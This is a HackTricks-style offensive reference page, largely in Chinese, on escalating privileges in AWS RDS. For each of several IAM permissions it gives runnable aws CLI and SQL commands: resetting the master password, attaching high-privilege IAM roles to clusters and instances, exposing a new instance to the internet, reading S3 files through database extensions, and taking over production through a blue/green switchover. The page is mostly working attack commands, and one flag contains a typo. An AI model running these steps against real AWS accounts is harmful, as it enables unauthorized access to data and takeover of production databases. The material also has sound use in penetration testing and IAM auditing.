AWS - RDS Privesc

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

RDS - 关系型数据库服务

For more information about RDS check:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

With that permission an attacker can 修改主用户的密码,以及数据库内的 login:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Warning

你需要能够连接到数据库(它们通常只能从内部网络访问)。

Potential Impact: 在数据库中发现敏感信息。

rds-db:connect

根据 docs,具有此权限的用户可以连接到 DB 实例。

滥用 RDS 角色 IAM 权限

Postgresql (Aurora)

Tip

如果运行 SELECT datname FROM pg_database; 并发现一个名为 rdsadmin 的数据库,则说明你在一个 AWS postgresql 数据库 内。

首先你可以检查此数据库是否被用来访问任何其他 AWS 服务。你可以通过查看已安装的扩展来检查:

SELECT * FROM pg_extension;

如果你发现类似 aws_s3 的东西,就可以认为该数据库对 S3 有某种访问权限(还有其他扩展,例如 aws_mlaws_lambda)。

另外,如果你有权限运行 aws rds describe-db-clusters,你可以在那里看到 集群是否附加了任何 IAM Role,在字段 AssociatedRoles 中。如果有,你可以假设该数据库已被配置为访问其他 AWS 服务。根据 role 的名称(或如果你能获取该 role 的权限),你可以猜测数据库拥有哪些额外访问权限。

现在,要读取 bucket 内的文件,你需要知道完整路径。你可以使用以下命令读取:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

如果你有 raw AWS credentials,你也可以使用它们来访问 S3 数据:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Note

Postgresql 不需要更改任何参数组变量 就能访问 S3。

Mysql (Aurora)

Tip

在 mysql 内,如果运行查询 SELECT User, Host FROM mysql.user; 并且存在名为 rdsadmin 的用户,你可以假定自己位于 AWS RDS mysql db

在 mysql 中运行 show variables;,如果像 aws_default_s3_roleaurora_load_from_s3_roleaurora_select_into_s3_role 这样的变量有值,你可以断定数据库已准备好访问 S3 数据。

此外,如果你有权限运行 aws rds describe-db-clusters,你可以检查集群是否有任何 关联角色,这通常意味着可以访问 AWS 服务。

现在,要在 bucket 内读取文件,你需要知道完整路径。你可以用以下方式读取:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

拥有权限 rds:AddRoleToDBClusteriam:PassRole 的攻击者可以 将指定角色添加到现有的 RDS 实例。这可能允许攻击者 访问敏感数据修改实例中的数据

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

潜在影响:访问 RDS 实例中的敏感数据或对数据进行未授权的修改。
注意,某些数据库需要额外配置,例如 Mysql,还需要在 parameter groups 中指定 role ARN。

rds:CreateDBInstance

仅凭此权限,攻击者就可以在已存在且附有 IAM role 的集群中创建一个 新的实例。他无法更改主用户密码,但可能能够将新的数据库实例暴露到互联网:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

Note

待测试

具有 rds:CreateDBInstanceiam:PassRole 权限的攻击者可以 创建带有指定角色的新 RDS 实例。攻击者随后可能 访问敏感数据 或修改实例内的数据。

Warning

一些要附加的 role/instance-profile 的要求 (来自 here):

  • profile 必须存在于您的账户中。
  • profile 必须包含一个 IAM role,且 Amazon EC2 有权限去 assume 该角色。
  • instance profile 名称和关联的 IAM role 名称必须以前缀 AWSRDSCustom 开头。
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

潜在影响: 可能访问敏感数据或对 RDS instance 中的数据进行未授权修改。

rds:AddRoleToDBInstance, iam:PassRole

具有 rds:AddRoleToDBInstanceiam:PassRole 权限的攻击者可以向现有的 RDS instance 添加指定角色。这可能允许攻击者访问敏感数据或修改该实例中的数据。

Warning

DB instance 必须位于集群之外才能执行此操作

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potential Impact: 访问 RDS 实例中的敏感数据或对其中的数据进行未授权的修改。

rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment

拥有这些权限的攻击者可以克隆生产数据库(Blue),将具有高权限的 IAM 角色附加到克隆(Green),然后使用切换操作替换生产环境。这样攻击者就可以提升数据库的权限并未经授权地访问其他 AWS 资源。

# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>

# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>

# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>

潜在影响: 完全接管生产数据库环境。切换后,数据库以提升的权限运行,允许从数据库内部未经授权地访问其他 AWS 服务(例如 S3、Lambda、Secrets Manager)。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks